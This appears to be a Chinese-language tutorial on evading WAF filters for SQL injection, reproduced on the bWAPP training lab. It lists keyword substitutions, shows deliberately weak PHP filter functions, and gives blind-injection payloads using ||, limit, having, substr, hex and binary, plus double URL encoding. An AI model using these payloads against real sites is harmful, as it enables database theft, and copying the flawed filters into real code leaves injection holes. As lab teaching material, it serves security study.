惊奇是哲学家的感觉,哲学开始于惊奇。
----柏拉图
一、WAF绕过核心思想
1、SQL语句的同义变形体
例如:
and ------------------- &&
or ------------------ ||
空格 --------------- /**/ 或 /*任意字符*/,%a0,%0b,()包裹字段名和表名或数据库名
= ----------------- like
union ------------------- ||
where ------------------------ limit
limit ---------------------- group by,having,min()组合
group by ----------------------- substr,group_concat组合
select -------------------------- substr
引号 ---------------------------- 十六进制,或unhex()、hex()
unhex()、hex()、substr ------------------------- binary()
2、利用WAF规则设定的缺陷
如双写、逻辑缺陷
3、利用技术链中间环节绕过
如编码,宽字节,二次注入
二、绕过复现
本次复现的载体是bwapp。
and、or过滤
function sqli_check_2($data)
{
#return mysql_real_escape_string($data);
$movie = preg_replace('/(and|or)/i','',$data); #正则替换and,or
echo "<p>".$movie."</p>";
return $movie;
}
绕过思路:and ----- && or ----- ||
空格过滤
function sqli_check_2($data)
{
#return mysql_real_escape_string($data);
$movie = preg_replace('/(and|or| )/i','',$data);
echo "<p>".$movie."</p>";
return $movie;
}
绕过思路:空格 ------ /**/
=过滤
function sqli_check_2($data)
{
#return mysql_real_escape_string($data);
$movie = preg_replace('/(and|or| |=)/i','',$data);
echo "<p>".$movie."</p>";
return $movie;
}
绕过思路:= ------------- like
union过滤
过滤代码 preg_match(’/(and|or|union)/i’,$id)
过滤情况 union select user,password from users
在盲注的时候|| (select user from users where user_id=1)=‘admin’ (需要预先知道users表/user列/admin字段) (||绕过)
这个实际上只能算是构造了一个"or 真",然后返回了一个全集。
但在盲注中,我们可以构造"or 判别式",来进行盲注。
where过滤
过滤代码 preg_match(’/(and|or|union|where)/i’,$id)
过滤情况 || (select user from users where user_id = 1)=‘admin’
绕过情况 || (select user from users limit 1,1)=‘admin’ (limit绕过)
这个在实际情况中需要一个一个的试也可以结合ascii()函数和substr()函数进行盲注。
limit过滤
过滤代码 preg_match(’/(and|or|union|where|limit)/i’,$id);
过滤情况 || (select user from users limit 1,1)=‘admin’
绕过情况 || (select min(user) from group by user_id having user_id = 1)=‘admin’ (group by, having, min()绕过)
group by过滤
过滤代码 preg_match(’/(and|or|union|where|limit|group by)/i’,$id)
过滤情况 || (select min(user) from group by user_id having user_id=1)=‘admin’
绕过情况 || select substr((select group_concat(name)name from test), 1, 1)=‘t’ (substr与group_concat联合调用)
select及’过滤绕过
过滤代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i')
过滤情况 || select substr((select group_concat(name)name from test), 1, 1)=‘t’
绕过情况 || substr(name, 1, 1)=0x74
|| substr(name, 1, 1)=unhex(74)
在盲注时绕过select的过滤,可采用||和substr的组合来绕过。但事先也要知道数据库的一些相关信息,不太好用。
而对于单引号的绕过可以用十六进制、hex()、unhex()等函数来规避。
hex、unhex、及substr过滤
盲注中hex、unhex、及substr过滤绕过
过滤代码:preg_match(’/(and|or|union|where|limit|group by|select|\’|hex|unhex|substr)/i’, $id)
过滤情况: || substr(name, 1, 1)=unhex(74)
绕过情况:binary(name) = 0x74657374 (binary绕过)
关键字空绕过
在一次性的空置换中,双写绕过
双重编码绕过
过滤代码:WAF: urldecode(param)->过滤
绕过:双重url编码
思路:将关键字双重编码后,通过WAF时会进行一次url解码然后去过滤,由于一次解码后还有一层url编码,所以WAF无法匹配关键字,导致绕过。而传到web容器时,web容器会自动进行一次url解码,进而还原了我们的恶意代码。
转义函数并不是万能的
$id = mysql_real_escape_string(“1 or 1=1”)
$sql = “select * from table where id = $id”
$sql = “select * from table where id =1 or 1=1”
当遇到数字型注入,或者字符型代码中参数没有加引号的情况下将形同虚设。
宽字节绕过
二次注入
二次注入:来自数据库的输入同样不可信。
sqli-labs之less-24传送门